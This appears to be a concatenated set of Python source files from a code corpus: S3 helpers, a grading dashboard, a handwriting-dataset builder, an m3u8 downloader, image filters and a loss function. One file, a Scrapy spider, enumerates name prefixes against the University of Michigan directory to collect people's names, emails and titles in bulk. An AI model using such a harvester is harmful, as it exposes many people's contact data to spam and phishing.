file.close()\n\n\n","sub_path":"Lib/postprocessor.py","file_name":"postprocessor.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"316718932","text":"from io import BytesIO, StringIO\nimport pandas as pd\nimport boto3\nimport os, logging\n\n\nclass S3ReadWrite:\n\n def __init__(self, bucket, folder):\n self.client = boto3.client('s3')\n self.resource = boto3.resource('s3')\n self.folder = folder\n self.bucket = bucket\n\n def __str__(self):\n msg = '(folder: {}, bucket: {})'.format(\n str(self.folder), str(self.bucket))\n return msg\n\n def __eq__(self, other):\n if self.bucket == other.bucket and self.folder == other.folder:\n return True\n else:\n return False\n\n @property\n def client(self):\n return self._client\n\n @client.setter\n def client(self, new_client):\n self._client = new_client\n\n @property\n def resource(self):\n return self._resource\n\n @resource.setter\n def resource(self, new_resource):\n self._resource = new_resource\n\n @property\n def folder(self):\n return self._folder\n\n @folder.setter\n def folder(self, new_folder):\n self._folder = new_folder\n\n @property\n def bucket(self):\n return self._bucket\n\n @bucket.setter\n def bucket(self, new_bucket):\n self._bucket = new_bucket\n\n def read_from_S3_csv(self, csv_name, **read_csv_kwargs):\n value = self.client.get_object(\n Bucket = self.bucket,\n Key ='{folder}/{csv_path}/{csv_name}.csv'.format(\n folder = self.folder,\n csv_path = csv_path,\n csv_name = csv_name)\n )['Body'].read()\n return pd.read_csv(BytesIO(value),**read_csv_kwargs)\n\n def read_from_S3_csv_with_path(self, csv_path, csv_name):\n value = self.client.get_object(\n Bucket=self.bucket,\n Key= '{folder}/{csv_path}/{csv_name}.csv'.format(\n folder = self.folder,\n csv_path = csv_path,\n csv_name = csv_name)\n )['Body'].read()\n return pd.read_csv(BytesIO(value))\n\n def put_dataframe_to_S3(\n self,\n csv_path,\n csv_name,\n dataframe):\n csv_buffer = StringIO()\n dataframe.to_csv(csv_buffer, index=False, header=True)\n self.resource.Bucket(\n self.bucket).put_object(\n Key= '{folder}/{csv_path}/{csv_name}.csv'.format(\n folder = self.folder,\n csv_path = csv_path,\n csv_name = csv_name),\n Body=csv_buffer.getvalue())\n\n def put_to_S3(self, key, body):\n self.resource.Bucket(\n self.bucket).put_object(\n Key=self.folder +\n key,\n Body=body)\n\n def append_to_csv(self, dataframe, csv_name):\n try:\n data = pd.concat([self.read_from_S3_csv(\n csv_name), dataframe], ignore_index=True)\n except Exception as e:\n data = dataframe\n\n csv_buffer = StringIO()\n data.to_csv(csv_buffer, index=False)\n self.resource.Bucket(\n self.bucket).put_object(\n Key='{folder}/{csv_name}.csv'.format(\n folder = self.folder,\n csv_name = csv_name),\n Body=csv_buffer.getvalue())\n","sub_path":"process_campaign/s3_read_write.py","file_name":"s3_read_write.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"51264490","text":"import os\n\nenv = Environment( ENV = os.environ )\n\nswig = env.Command(\n [ \"ir.py\", \"ir.pyc\", \"ir_wrap.cxx\" ],\n None,\n \"swig -c++ -I../../src -python ir.i\" )\n\nlib = env.SharedLibrary(\n \"_ir\",\n [ \"ir_wrap.cxx\" ],\n LIBS = [ \"ir\" ],\n LIBPATH = [ \"../../\" ],\n CPPPATH = [ \"../../src\", \"/usr/include/python2.6\" ],\n CXXFLAGS = [ \"-std=gnu++0x\" ],\n LINKFLAGS = [ \"-Wl,-rpath=\" + os.path.realpath( \"../..\" ) ],\n SHLIBPREFIX='' )\nClean( lib, [ \"_ir.so\", \"ir_wrap.o\" ] )\n\ntest = env.Command( \"test\", None, \"python test.py\" )\n\ndefault = env.Alias( \"default\", [ swig, lib, test ] )\nDefault( default )\n","sub_path":"python/lib/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"233359189","text":"import pytest\nfrom selenium import webdriver\n\n@pytest.fixture()\ndef setup(browser):\n if browser == 'chrome':\n driver = webdriver.Chrome(executable_path=\"Driver/chromedriver_win32 (7)/chromedriver.exe\")\n print(\"Launching Chrome browser .......\")\n elif browser == 'firefox':\n driver = webdriver.Firefox(executable_path=\"Driver/geckodriver/geckodriver.exe\")\n print(\"Launching Firefox browser .......\")\n else:\n driver = webdriver.Chrome(executable_path=\"Driver/chromedriver_win32 (7)/chromedriver.exe\")\n return driver\n\n\ndef pytest_addoption(parser): # This will get the value of the browser from CLI / hooks\n parser.addoption(\"--browser\")\n\n@pytest.fixture()\ndef browser(request): # This will return the browser value tot he setup method above\n return request.config.getoption(\"--browser\")\n\n\n####################### pytest HTML Report ###########\n\ndef pytest_configure(config):\n config._metadata['Project Name'] = 'nopCommerce Automation framework'\n config._metadata['Module Name'] = 'Customers'\n config._metadata['Tester'] = 'Victor'\n\n\n##### It is hook for delete / Modify Environment info to HTMK Report\n\n@pytest.mark.optionalhook\ndef pytest_metadata(metadata):\n metadata.pop(\"JAVA_HOME\", None)\n metadata.pop(\"Plugins\", None)\n\n","sub_path":"testCases/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"83539252","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime\nfrom statistics import *\nfrom decimal import Decimal\n\nINSTALL_PATH = '/users/t/d/tdupuy/dev/submission_tools/'\nPATH_TO_DASHBOARD = \"/users/t/d/tdupuy/www-root/public/algebra-one/20/f/dashboard/\"\n#INSTALL_PATH ='/Users/taylordupuy/Documents/web-development/dev/submission_tools/'\n#PATH_TO_DASHBOARD=\"/Users/taylordupuy/Documents/web-development/data/algebra-one/20/f/\"\n\nsys.path.append(INSTALL_PATH+\"../excel_tools\")\n\nfrom table_editor import SheetObject\nfrom table_functions import *\nfrom matchmaker_functions import *\nfrom submission_functions import *\n\ndef get_date(unixtime):\n return datetime.fromtimestamp(unixtime)\n\ndef time_difference(timestamp2,timestamp1):\n \"\"\"\n t1 = timestamps[1]\n t2 = timestamps[2]\n time_difference(t2,t1)\n \"\"\"\n t1 = datetime.datetime.fromtimestamp(timestamp1)\n t2 = datetime.datetime.fromtimestamp(timestamp2)\n delta = t2-t1\n return delta.days\n\ndef clean_dec(x):\n return format(x,'.3f')\n\ndef searchd(list_of_dicts,sdict):\n new_list = []\n keys=sdict.keys()\n for x in list_of_dicts:\n ok = 1\n for key in keys:\n if x[key]!=sdict[key]:\n ok=0\n break\n \n if ok==1:\n new_list.append(x)\n return new_list\n\ndef update(S,mylist):\n message = \"\"\n for m in mylist:\n snum=m['submission_number']\n mold=S.get({'submission_number':m['submission_number']})\n S.remove(mold)\n S.append(m)\n message = message + f\" {snum}\"\n return \"updated:\" + message + \"\\n unsaved changes will be lost\"\n\n\ndef save_hist(subs,key,S,filename,plot_title=\"\"):\n n=len(subs)\n data=[x[key] for x in subs]\n plt.hist(data,bins=7)\n plt.title(plot_title)\n plt.savefig(filename)\n plt.clf()\n\ndef score1_hist(p0,scored1):\n \"\"\"\n TODO: Add the n=X feature\n \"\"\"\n ass=p0[\"assignment\"]\n pro=p0[\"problem\"]\n n=len(scored1)\n plt.hist(scored1, bins=7) # arguments are passed to np.histogram\n plt.title(f\"score1: assignment {ass}, problem {pro} (n={n})\")\n plt.savefig(f\"score1-{ass}-{pro}\")\n \n \"\"\"\n savefig(fname, dpi=None, facecolor='w', edgecolor='w',\n orientation='portrait', papertype=None, format=None,\n transparent=False, bbox_inches=None, pad_inches=0.1,\n frameon=None, metadata=None)\n \"\"\"\n \ndef score2_hist(p0,scored2,filepath=\"./\"):\n ass=p0[\"assignment\"]\n pro=p0[\"problem\"]\n n=len(scored2)\n plt.hist(scored2, bins=7) # arguments are passed to np.histogram\n plt.title(f\"score2: assignment {ass}, problem {pro} (n={n})\")\n filename=f\"score2-{ass}-{pro}\"\n plt.savefig(filepath+f\"score2-{ass}-{pro}\")\n return filename + \".png\"\n\n\n\"\"\"\ntmatch\ntreview1\ntreview2\n\"\"\"\ndef get_times(subs):\n \"\"\"\n submissions need to be complete\n \"\"\"\n matching_times=[]\n review_times=[]\n for m in subs:\n t0 = m['submission_time']\n t1 = m['reviewer1_assignment_time']\n t2 = m['reviewer2_assignment_time']\n t11 = m['review1_timestamp']\n t22 = m['review2_timestamp']\n tmatch = time_difference(max(t1,t2),t0)\n treview1 = time_difference(t11,t1)\n treview2 = time_difference(t22,t2)\n matching_times.append(tmatch)\n review_times.append(treview1)\n review_times.append(treview2)\n return {\"review_times\":review_times,\"matching_times\":matching_times}\n\n###############################\n###############################\n\nif len(sys.argv)==1:\n PATH_TO_DATA = get_path_to_data()\n #tmode(1,PATH_TO_DATA)\nelif len(sys.argv)>=2:\n PATH_TO_DATA = sys.argv[1]\n #tmode(1,PATH_TO_DATA)\nelif len(sys.argv)==3:\n is_test = int(sys.argv[2])\n tmode(is_test,PATH_TO_DATA)\nelse:\n raise ValueError(\"dashboard.py only accepts 3 or fewer options\")\n\nroster_name = get_roster_name(PATH_TO_DATA)\ncourse_name = get_course_name(PATH_TO_DATA)\n\n#\n# THIS NEEDS TO BE FIXED TO WORK MORE GENERALLY\n#\n\n\n#turn off the server\nserver_down =1\nout_msg=webmode(server_down,PATH_TO_DATA)\nprint(out_msg)\n\n\ntoday = datetime.date.today()\ntodays = today.strftime(\"%B %d, %Y\")\n\npath_to_sheet = PATH_TO_DATA + \"roster.xlsx\"\nS = SheetObject(path_to_sheet,\"submissions\")\nP = SheetObject(path_to_sheet,\"assignments\")\nU = SheetObject(path_to_sheet,\"roster\")\n\nexercises = P.get({})[1:]\nusers = U.get({})\nsubmissions = S.get({})\nNUM_USERS = len(users)\n\nmid_image_table=\"\"\nmid_of_table=\"\"\n\n#u0=users[0]\n#p0=exercises[1]\n#s0=submissions[1]\n\n\"\"\"\nFor a given problem.\nHow many are unmatched?\nHow many are matched?\nHow many people have not submitted?\nHow many are graded?\n\"\"\"\nfor p0 in exercises:\n waiting = S.get({\"assignment\":p0[\"assignment\"], \"problem\":p0[\"problem\"],\"submission_locked\":0})\n num_waiting = len(waiting)\n matched = S.get({\"assignment\":p0[\"assignment\"], \"problem\":p0[\"problem\"],\"submission_locked\":1})\n num_matched = len(matched)\n num_available = NUM_USERS - num_matched\n num_submitted = num_matched+num_waiting\n \n ass=p0[\"assignment\"]\n pro=p0[\"problem\"]\n\n \n scored1 = []\n for m in matched:\n mnew=copyd(m)\n if m['review1_timestamp']>-1 and m['review2_timestamp']>-1:\n s1 = m['reviewer1_score']\n s2 = m['reviewer2_score']\n mnew['total_score1'] = (s1+s2)/2\n scored1.append(mnew)\n \n scored2 = []\n for m in scored1:\n reviewer1 = m['reviewer1']\n reviewer2 = m['reviewer2']\n s1 = m['reviewer1_score']\n s2 = m['reviewer2_score']\n if m['closed']==0:\n search1=searchd(scored1,{'netid':reviewer1})\n search2=searchd(scored1,{'netid':reviewer2})\n \n if len(search1)>0 and len(search2)>0:\n mnew = copyd(m)\n sub1 = search1[0]\n sub2 = search2[0]\n r1=sub1['total_score1']\n r2=sub2['total_score1']\n w1 = float(r1/(r1+r2))\n w2 = float(r2/(r1+r2))\n ts2=w1*s1+w2*s2\n #print(f\"s1={s1},s2={s2},r1={r1},r2={r2},w1={w1},w2={w2},ts2={ts2},w1+w2={w1+w2}\")\n mnew['total_score2']=ts2\n mnew['closed']=1\n mnew['w1']=w1\n mnew['w2']=w2\n scored2.append(mnew)\n\n update(S,scored2)\n S.save()\n \n \"\"\"\n Histogram\n \"\"\"\n total_scored2 = [m[\"total_score2\"] for m in scored2]\n n = len(total_scored2)\n #plt.hist(total_scored2, bins=7) # arguments are passed to np.histogram\n #plt.title(f\"assignment {ass}, problem {pro} (n={n})\")\n #plt.show()\n plot2filename=score2_hist(p0,total_scored2,PATH_TO_DASHBOARD)\n \n #average distance\n scorechanges=[]\n for m in scored2:\n scorechanges.append([m['total_score1']-m['total_score2']])\n \n if len(total_scored2)>0:\n mean0=mean(total_scored2)\n med0=median(total_scored2)\n if len(total_scored2)>1:\n std0=stdev(total_scored2)\n else:\n std0=0\n time_data=get_times(scored2)\n rt0=mean(time_data['review_times'])\n mt0=mean(time_data['matching_times'])\n \n else:\n mean0=0\n med0=0\n std0=0\n rt0=0\n mt0=0\n \n \n html_image0=f'\"{plot2filename}\"'\n \n start_of_table=\"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n \n mid_of_table= mid_of_table+f\"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n mid_image_table = mid_image_table+f\" {html_image0} \"\n\n TITLE = f\"SUBMISSION DASHBOARD (updated: {todays})\"\n\n HTML_START=f\"\"\"\n \n \n \n \n {TITLE} \n \n \n

{TITLE}

\n \n \"\"\"\n HTML_END=\"\"\"\n \n \n \"\"\"\n \n end_of_table=\"
(ass,pro)subsnot subbedwaitingmatchescompletedmatch timerev time meanmedianstd
({ass},{pro}) {num_submitted} {num_available} {num_waiting} {num_matched} {n} {clean_dec(mt0)} {clean_dec(rt0)} {clean_dec(mean0)} {clean_dec(med0)} {clean_dec(std0)}
\"\n\nhtml_table = start_of_table+mid_of_table+end_of_table\n\ncaption = \"\"\"\n

\nNOTES:
\nmatch time,review time computed in days; completed submissions used (meaning the second score with the weighted average has been computed).
\nsubmitted, available, waiting, and matched are all the number of people currently in each category for this problem.\n

\n\n

Histograms of Scores

\n\"\"\"\n\nimage_table = \"
\" + mid_image_table + end_of_table +\"\"\nhtml_page = HTML_START + html_table + caption + image_table + HTML_END\n \nf = open(PATH_TO_DASHBOARD+\"dashboard.html\", \"w\")\nf.write(html_page)\nf.close()\n\n\"\"\"\nTURN WEBPAGE BACK ON\n\"\"\"\nserver_down=0\nout_msg=webmode(server_down,PATH_TO_DATA)\nprint(out_msg)\n","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":9175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"242004508","text":"import gzip\nimport os\nimport random\nfrom itertools import tee, izip\nimport cPickle\nimport numpy as np\nimport cv2\n\n\"\"\"\nAuthor: Sam Tozer\nVersion: 1.0\n\nThis script is used to create a handwritten data set from the samples acquired from the Chars74k image set.\nChars74k is developed by University of Surrey: http://www.ee.surrey.ac.uk/CVSSP/demos/chars74k/\n\nTo create the data set, we iterate through 'labels' array and append the value to 'directory' which gives a direct\npath to each character sample folder. Then, we loop through each image cropping and applying various transformations.\nFinally, the extracted character is appended to 'cropped_char'. Its corresponding output code is appending to\n'output_code' array. The current index value of 'labels' corresponds to each images desired output code.\n\nNote: This script iterates through the each image folder of Chars74k handwritten samples. To run this code,\nensure that the directory structure remains unchanged and the variable 'directory' is relative to your personal\ndirectory.\n\"\"\"\n\nfilename = ''\ncropped_char = []\noutput_code = []\n\ndef pairwise(iterable):\n a, b = tee(iterable)\n next(b, None)\n return izip(a, b)\n\n\ndef image_rotate(img, angle):\n \"\"\"\n Function used to rotate a given image. Positive int value rotates image counter clockwise, negative\n values rotate clockwise.\n\n :param img: Target image for rotating.\n :param angle: Int used as degree value for the rotation.\n :return: Rotated image.\n \"\"\"\n image_center = tuple(np.array(img.shape) / 2)\n rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)\n result = cv2.warpAffine(img, rot_mat, img.shape, flags=cv2.INTER_LINEAR)\n return result\n\n\ndef thinen_lines(img):\n \"\"\"\n Function used to thicken line weight of a given image using OpenCV's erode method. Kernel size is pre set to\n 30,30.\n\n :param img: Target image for eroding.\n :return: Eroded image.\n \"\"\"\n kernel = np.ones((30, 30), np.uint8)\n thickened_image = cv2.erode(img, kernel, iterations=1)\n return thickened_image\n\n\ndef crop_image(img, i):\n \"\"\"\n This function crops each character image by computing its vertical and horizontal projections. Once cropped,\n the image is resized to the required 28x28 pixels and each pixel value is divided by 255 to ensure each value\n is within the 0-1 range. The cropped image is then added to global array 'cropped_char' and its corresponding\n output value (param2) is appended to global array 'output_code'.\n\n :param img: Target character image.\n :param i: Int value which corresponds to target output value. This value is obtained via the index value of\n the labels array.\n \"\"\"\n horizontal_projection = cv2.reduce(img, 1, cv2.REDUCE_SUM, dtype=cv2.CV_32S)\n vertical_projection = cv2.reduce(img, 0, cv2.REDUCE_SUM, dtype=cv2.CV_32S)\n vertical_projection = vertical_projection[0]\n\n paired_ycoordinates = []\n paired_xcoordinates = []\n\n y_coords = []\n x_coords = []\n glyph = []\n\n rows, cols = img.shape\n\n \"\"\"\n Below, both loops iterate through its horizontal/vertical projection return arrays. We first check if each value\n equals 0 (black pixels) and the next value does not equal 0. Once satisfied, we can conclude that we have\n found the character starting point and can append the current count value accordingly.\n\n Once the starting point is found, we then look for pixel values greater than zero where the next value equals 0.\n Once satisfied, we conclude that we have found the characters ending point and therefore append the count value + 1\n value accordingly.\n \"\"\"\n for count, (current, next_co) in enumerate(pairwise(horizontal_projection), 1):\n if current == 0 and next_co != 0:\n y_coords.append(count)\n\n elif current != 0 and next_co == 0:\n y_coords.append(count+1)\n\n for count, (current, next_co) in enumerate(pairwise(vertical_projection), 1):\n if current == 0 and next_co != 0:\n x_coords.append(count)\n\n elif current != 0 and next_co == 0:\n x_coords.append(count+1)\n\n if len(y_coords) % 2 == 0 and len(x_coords) % 2 == 0:\n \"\"\"\n Check to ensure that each coordinate array does not contain an odd number of values. (Each starting point\n must also have an ending point). If satisfied, we group its containing values into a two item pair.\n e.g. [1,2] becomes [(1,2)]\n \"\"\"\n paired_ycoordinates = zip(y_coords[0::2], y_coords[1::2])\n paired_xcoordinates = zip(x_coords[0::2], x_coords[1::2])\n\n for y_start, y_finish in paired_ycoordinates:\n for x_start, x_finish in paired_xcoordinates:\n count = 0\n count += 1\n y_height = y_finish - y_start\n x_width = x_finish - x_start\n x = x_start\n y = y_start\n cv2.rectangle(img, (x_start, y_start), (x_start + x_width, y_start + y_height), (0, 0, 0), 1)\n glyph = img[y:y_start + y_height, x:x_start + x_width]\n glyph = cv2.copyMakeBorder(glyph, 60, 60, 60, 60, cv2.BORDER_CONSTANT)\n glyph = cv2.resize(glyph, (28, 28))\n divider = 255\n glyph = glyph / divider\n cropped_char.append(glyph)\n output_code.append(i)\n\n\n# Array containing the folder names of each character sample group.\nlabels = ['aa', 'bb', 'cc', 'dd', 'ee', 'ff', 'gg', 'hh', 'ii', 'jj', 'kk', 'll', 'mm', 'nn', 'oo', 'pp', 'qq', 'rr',\n 'ss', 'tt', 'uu', 'vv', 'ww', 'xx', 'yy', 'zz']\n\n\nfor i, r in enumerate(labels):\n \"\"\"\n This loop iterates through each value in 'labels' and appends its current value (r) to 'directory' forming a\n direct path to sample folder.\n \"\"\"\n\n directory = \"/Users/samtozer/Documents/English/hnd/Img/%s\" % r\n\n for filename in os.listdir(directory):\n \"\"\"\n Iterate through each file in the selected folder and perform a check to ensure each file is of type .png\n \"\"\"\n if filename.endswith(\".png\"):\n\n filename = filename\n # Create an image from the current image path\n img = cv2.imread(\"%s/%s\" % (directory, filename))\n imgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(imgray, 127, 255, cv2.THRESH_BINARY_INV)\n\n \"\"\"\n Create 5x copies of the original image and apply the appropriate transformations.\n \"\"\"\n left_rotation = image_rotate(thresh.copy(), -20)\n right_rotation = image_rotate(thresh.copy(), 20)\n thinned_image = thinen_lines(thresh.copy())\n thinned_left_rotation = thinen_lines(image_rotate(thresh.copy(), -20))\n thinned_right_rotation = thinen_lines(image_rotate(thresh.copy(), 20))\n\n crop_image(thresh, i)\n crop_image(left_rotation, i)\n crop_image(right_rotation, i)\n crop_image(thinned_image, i)\n crop_image(thinned_left_rotation, i)\n crop_image(thinned_right_rotation, i)\n\n# Reshape each value from 'cropped_char' from 28,28 to 784,1 to conform with MNIST structure\ninput_array = [np.reshape(x, 784) for x in cropped_char]\n# Pair each value from 'input_array' to each value of 'output_code'\n# e.g. ['a', 'b', 'c'] [1,2,3] becomes [('a',1),('b',2),('c',3)]\nshfle = zip(input_array, output_code)\n# Shuffle the array order to ensure characters are not grouped\nrandom.shuffle(shfle)\ninp, outp = zip(*shfle)\n\n\"\"\"\nPerform array slicing to make sub sets of the data set\n(1) training set: 0-5000\n(2) validation set: 5001-7500\n(3) testing set: 7501-9111\n\"\"\"\ntrain_inpt = inp[0:5000]\ntrain_label = np.asarray(outp[0:5000])\n\nval_inp = inp[5001:7500]\nval_label = outp[5001:7500]\n\ntest_inpt = inp[7501:9111]\ntest_label = outp[7501:9111]\n\ntrain_set = train_inpt, train_label\nval_set = val_inp, val_label\ntest_set = test_inpt, test_label\ndataset = [train_set, val_set, test_set]\n\nf = gzip.open('dataset.pkl.gz', 'wb')\ncPickle.dump(dataset, f, protocol=2)","sub_path":"CreateDataset.py","file_name":"CreateDataset.py","file_ext":"py","file_size_in_byte":8094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"584235701","text":"import os, sys, time\nimport requests\nfrom urllib.parse import urljoin\nimport subprocess\n\nfrom common import Logger, CLIParser\nlogger = Logger.getLogger()\nLogger.disable_http_tracing()\n\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'\nWORK_DIR = os.environ['M3U8_WORK_DIR']\nFFMPEG = \"ffmpeg\"\nif \"FFMPEG\" in os.environ:\n FFMPEG = os.environ[\"FFMPEG\"]\n\nclass M3U8:\n def __http_call(self, url):\n time.sleep(1)\n headers = { \"User-Agent\": USER_AGENT }\n response = requests.get(url, headers=headers)\n return response.content\n\n def __download_file(self, url, output):\n if os.path.exists(output):\n return\n data = self.__http_call(url)\n with open(output, \"wb\") as f:\n f.write(data)\n\n def __init__(self, url, root_folder):\n self.Url = url\n self.Name = os.path.basename(url)\n self.Workarea = os.path.join(root_folder, self.Name)\n self.List_file = os.path.join(self.Workarea, \"Segments.txt\")\n self.Combined_file = \"\"\n logger.info(f\"Creating working folder [{self.Workarea}]...(URL={url})\")\n os.makedirs(self.Workarea, exist_ok=True)\n\n def Download(self):\n logger.info(f\"Downloading m3u8 ...\")\n playlist_text = self.__http_call(self.Url).decode(\"utf-8\")\n # process the playlist text to extract the URLs of the media segments\n media_segments = [line.strip() for line in playlist_text.split(\"\\n\") if line.strip() and not line.startswith(\"#\")]\n segment_list = []\n # download the media segments\n base_url = urljoin(self.Url, \".\")\n for segment in media_segments:\n segment_url = urljoin(base_url, segment)\n segment_file_name = os.path.join(self.Workarea, segment)\n if not self.Combined_file:\n ext = os.path.splitext(segment_file_name)[1]\n self.Combined_file = os.path.join(self.Workarea, f\"CombinedSegments{ext}\")\n self.__download_file(segment_url, segment_file_name)\n segment_list.append(f\"file '{segment_file_name}'\\n\")\n print('.', end='')\n logger.info(f\"Saving segment list (total {len(segment_list)} entries) ...\")\n with open(self.List_file, \"w\") as f:\n f.writelines(segment_list)\n\n def CombineSegments(self): \n if not self.Combined_file or os.path.exists(self.Combined_file):\n return\n\n logger.info(f\"Combining segment files to {self.Combined_file}...\")\n ffmpeg_cmd = f\"{FFMPEG} -f concat -safe 0 -i \\\"{self.List_file}\\\" -c copy \\\"{self.Combined_file}\\\"\"\n status = subprocess.run(ffmpeg_cmd, cwd=self.Workarea)\n return status\n\nclass M3U8Downloader:\n def DownloadStreams(urls, title):\n root_folder = os.path.join(WORK_DIR, title)\n logger.info(f\"Creating root folder [{root_folder}]...)\")\n os.makedirs(root_folder, exist_ok=True)\n\n combined_list = []\n for url in urls:\n worker = M3U8(url, root_folder)\n worker.Download()\n worker.CombineSegments()\n combined_list.append(worker.Combined_file)\n\n # combine streams to MP4\n output_file = os.path.join(root_folder, f\"{title}.mp4\")\n logger.info(f\"Combining video and audio files to {output_file}...\")\n # build the FFmpeg command\n ffmpeg_cmd = [f\"{FFMPEG}\"]\n for input_file in combined_list:\n ffmpeg_cmd.extend([\"-i\", f\"{input_file}\"])\n ffmpeg_cmd.extend([\n \"-c\", \"copy\",\n \"-bsf:a\", \"aac_adtstoasc\",\n f\"{output_file}\"])\n subprocess.run(ffmpeg_cmd)\n\n#################################\n# Program starts\n#################################\n\nif __name__ == \"__main__\":\n args = sys.argv\n if len(args) < 2: exit()\n urls = [] \n title = None\n index = 1\n while (index < len(args)):\n arg = args[index]; index += 1\n if arg.lower().startswith(\"https://\"):\n urls.append(arg)\n else:\n title = arg\n M3U8Downloader.DownloadStreams(urls, title)\n","sub_path":"scripts/python/m3u8-downloader.py","file_name":"m3u8-downloader.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"575790621","text":"import os\nfrom itertools import islice\nfrom concurrent import futures\nimport time\nfrom math import ceil\nintensidad = 1\nbody_list = []\nsize=0\n\nclass Filtros_ppm():\n def separar(self,imagen_read):\n header=\"\"\n for i in imagen_read.splitlines():\n header += i.decode()+\"\\n\"\n if i == b\"255\":\n break\n\n #print(header)\n #print(len(header))\n #header = imagen_read[:15].decode()\n header = header.replace(\"P6\",\"P3\")\n \n #body = imagen_read[len(header):]\n \n return(header)\n \n def rojo(self,start):\n #global intensidad\n #global body_list\n #print(start)\n for i in range(start,(start+size+3),3):\n body_list[i] = ceil(body_list[i] * intensidad)\n if body_list[i] > 255:\n body_list[i]= 255\n body_list[i+1] = 0\n body_list[i+2] = 0\n #print (body_ppm)\n #return(body_list)\n\nif __name__ == \"__main__\":\n f=Filtros_ppm()\n fd = open(\"dog.ppm\",\"rb\")\n lectura=fd.read()\n \n header_ppm=f.separar(lectura)\n #print(header_ppm)\n fd.seek(len(header_ppm))\n \n #print(body_list)\n \n \n body= fd.read()\n fd.close()\n body_list = [x for x in body]\n size=100000\n\n while True:\n if size%3 !=0:\n size += 1\n if size%3 == 0:\n break\n \n #print(size)\n #file_size = os.stat(\"dog.ppm\").st_size\n #print(file_size)\n size_body_list=len(body_list)\n #print(size_body_list)\n n_threads= ceil(size_body_list/size)\n print(n_threads)\n a=list(range(0,size_body_list,size))\n print(a)\n hilos = futures.ThreadPoolExecutor(max_workers=n_threads)\n resultado_a_futuro = hilos.map(f.rojo,a)\n #print ((resultado_a_futuro))\n \n \n #print(len(body_list))\n \n body_ppm =\"\"\n c=0\n for x in body_list:\n c += 1\n body_ppm += str(x) + \" \"\n if c%9 == 0:\n body_ppm += \"\\n\"\n imagen = open(\"rojelio.ppm\", \"w\")\n imagen.write(header_ppm + \"\\n\")\n imagen.write(body_ppm)\n \n \n #print(body_ppm)\n #print(cabecera_ppm)","sub_path":"alumnos/58018-Valentin-Faraz/sv/hilos.py","file_name":"hilos.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"117669777","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nfrom scrapy.contrib.loader import ItemLoader\nfrom crange import Crange\nfrom grebner.items import UmichItem\n\n\nclass UmichSpider(scrapy.Spider):\n name = \"umich\"\n allowed_domains = [\"mcommunity.umich.edu\"]\n url = 'https://mcommunity.umich.edu/mcPeopleService/people/search'\n\n def make_request(self, **kargs):\n firstname = kargs.get('firstname', [ ])\n lastname = kargs.get('lastname', [ ])\n formdata = { }\n\n if firstname:\n formdata.update({\n 'givenName' : ''.join(firstname),\n 'givenNameSearchType' : 'starts with'\n })\n\n if lastname:\n formdata.update({\n 'sn' : ''.join(lastname),\n 'snSearchType' : 'starts with'\n })\n\n meta = {\n 'firstname' : firstname,\n 'lastname' : lastname\n }\n\n return scrapy.FormRequest(self.url, dont_filter=True, meta=meta, formdata=formdata)\n\n def start_requests(self):\n for prefix in Crange(start='aa', stop='zz', min=2):\n yield self.make_request(lastname=prefix)\n\n def parse(self, response):\n records = json.loads(response.body_as_unicode())\n if len(records['person']) is 0: return\n if 'global' in records['person'][0]['errors']:\n firstname = response.meta['firstname']\n lastname = response.meta['lastname']\n if len(lastname) < 3:\n for c in Crange(start='a', stop='z'):\n yield self.make_request(lastname=lastname + c)\n else:\n for c in Crange(start='a', stop='z'):\n yield self.make_request(lastname=lastname, firstname=firstname + c)\n else:\n for record in records['person']:\n item = UmichItem()\n item['id'] = record.get('uniqname')\n item['name'] = record.get('displayName')\n item['email'] = record.get('email')\n item['title'] = record.get('title')\n yield item","sub_path":"grebner/spiders/umich.py","file_name":"umich.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93069196","text":"import torch\nimport torch.nn as nn\n\norgans_index = [1, 3, 4, 5, 6, 7, 11, 14]\nnum_organ = len(organs_index) # 8\n\n\nclass AvgDiceLoss(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, pred_stage1, pred_stage2, target):\n \"\"\"\n 计算多类别平均dice loss\n :param pred_stage1: 阶段一的输出 (B, 9, 48, 256, 256)\n :param pred_stage2: 阶段二的输出 (B, 9, 48, 256, 256)\n :param target: 金标准 (B, 48, 256, 256)\n :return: loss\n \"\"\"\n # 首先将金标准拆开\n organs_target = torch.zeros(target.size(0), num_organ, 48, 256, 256)\n for idx, organ_idx in enumerate(organs_index):\n organs_target[:, idx, :, :, :] = (target == organ_idx) + .0\n\n organs_target = organs_target.cuda() # (B, 8, 48, 256, 256)\n\n # 计算第一阶段的loss\n dice_stage1 = 0.0\n for idx in range(1, num_organ + 1):\n pred_temp = pred_stage1[:, idx, :, :, :]\n target_temp = organs_target[:, idx - 1, :, :, :]\n dice_stage1 += (2 * torch.sum(pred_temp * target_temp, [1, 2, 3]) + 